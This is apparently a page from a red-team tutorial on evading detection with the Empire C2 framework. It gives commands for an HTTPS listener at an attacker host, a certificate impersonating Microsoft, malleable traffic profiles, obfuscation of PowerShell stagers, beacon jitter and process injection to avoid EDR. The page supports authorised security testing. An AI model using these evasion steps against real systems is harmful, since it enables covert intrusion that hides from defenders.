Skip to main content

7. Obfuscation & Evasion


Evasion Layers​

No single technique defeats all defenses. Layer these in combination based on what the target environment is running.

LayerTechniqueAddresses
1HTTPS listenerNetwork inspection, plaintext C2 detection
2Custom TLS certificateTLS anomaly alerts on self-signed certs
3Malleable C2 profileHTTP traffic fingerprinting (IDS/NSM signatures)
4Invoke-Obfuscation on stagersAMSI, static PowerShell signature detection
5Sleep + jitterBeacon frequency/regularity detections
6Working hours restrictionAfter-hours anomaly detection
7Process injection (psinject)Agent running in a suspicious process

Layer 1–2: HTTPS Listener with Custom Certificate​

Encrypts C2 traffic and replaces the default self-signed cert that triggers TLS anomaly alerts.

# Generate a custom cert with a plausible subject (match your cover traffic)
openssl req -new -x509 -keyout /tmp/empire.pem -out /tmp/empire.pem -days 365 -nodes \
-subj "/C=US/ST=Virginia/L=McLean/O=Microsoft Corporation/CN=windowsupdate.com"

# Start HTTPS listener with custom cert
(Empire: listeners) > uselistener https
(Empire: listeners/https) > set Host https://<ATTACKER_IP>
(Empire: listeners/https) > set Port 443
(Empire: listeners/https) > set CertPath /tmp/empire.pem
(Empire: listeners/https) > execute
tip

Use port 443 - HTTPS on non-standard ports is immediately suspicious and gets flagged by most NSM tools.


Layer 3: Malleable C2 Profile​

Shapes all HTTP request/response structures to match a legitimate application. An analyst watching traffic sees what looks like normal CDN requests or Microsoft update traffic instead of Empire beacons.

# Place a profile on the Empire server
cp /path/to/amazon.profile /usr/share/powershell-empire/empire/server/data/profiles/

# Start the malleable listener
(Empire: listeners) > uselistener http_malleable
(Empire: listeners/http_malleable) > set Host http://<ATTACKER_IP>
(Empire: listeners/http_malleable) > set Port 80
(Empire: listeners/http_malleable) > set ProfilePath /usr/share/powershell-empire/empire/server/data/profiles/amazon.profile
(Empire: listeners/http_malleable) > execute

Pre-built profiles mimicking Amazon, Bing, OneDrive, jQuery, and others are available in the BC-Security Malleable C2 Profiles repository.

note

Pair with HTTPS for full coverage: malleable profiles shape the HTTP layer, HTTPS encrypts it so the profile content itself can't be inspected.


Layer 4: Invoke-Obfuscation​

Empire has Invoke-Obfuscation built in. When enabled on a stager, it transforms the PowerShell launcher before output - changing string concatenation, encoding, and execution patterns to break static signatures.

Enable on a stager​

(Empire: stager/multi/launcher) > set Obfuscate True
(Empire: stager/multi/launcher) > set ObfuscateCommand Token\All\1
(Empire: stager/multi/launcher) > generate

Common ObfuscateCommand values​

ValueTechnique
Token\All\1Tokenize and obfuscate all elements (recommended starting point)
Token\String\1Obfuscate string literals only
Token\Command\1Obfuscate command names
Encoding\1Encode the entire script
Launcher\PS\1Re-encode the launcher itself
caution

Obfuscation increases payload size and can slow execution. Token\All\1 is a good balance - it breaks most static signatures without making the payload excessively large or slow.

The Obfuscate option has a known bug in some Empire versions where stager generation fails with FileNotFoundError. If this happens, generate without obfuscation and manually run the launcher through a standalone Invoke-Obfuscation instance.


Layer 5–6: Sleep, Jitter, and Working Hours​

Set on deployed agents to control beacon regularity and operational hours. See Agent Management for full details.

# Slow, irregular beacon - reduces frequency-based detections
(Empire: <AGENT_NAME>) > sleep 300 0.3

# Business-hours-only beaconing
(Empire: <AGENT_NAME>) > workinghours 08:00-17:00

Layer 7: Process Injection​

By default the agent runs in a PowerShell process - a high-value target for EDR. Migrate the agent into a less suspicious process using psinject.

# Inject a new agent into a target PID
(Empire: <AGENT_NAME>) > psinject <LISTENER_NAME> <TARGET_PID>

Good injection targets: explorer.exe, svchost.exe, notepad.exe, browser processes. Avoid injecting into security software processes.

note

psinject spawns a new agent in the target process - the original agent remains. Once the injected agent checks in, you can kill the original PowerShell-hosted agent to reduce your footprint.


What This Doesn't Solve​

Even with all layers applied, the following will likely still detect Empire activity on a mature defended network:

Remaining Detection SurfaceWhy
PowerShell script block loggingLogs decrypted PS code regardless of obfuscation if ETW is intact
EDR with memory scanningDetects Empire agent DLLs in process memory by signature
Behavioral analytics (UEBA)Detects unusual processes making outbound HTTPS calls
Network traffic volume/timingEven jittered beacons build a statistical fingerprint over time
Domain reputationNew/unknown domains flagged by web proxies
caution

Empire is a well-known framework with published signatures. On a target with mature EDR (CrowdStrike, Defender for Endpoint, Carbon Black), assume Empire will be detected without significant custom modification. Use these layers to raise the detection cost, not to guarantee stealth.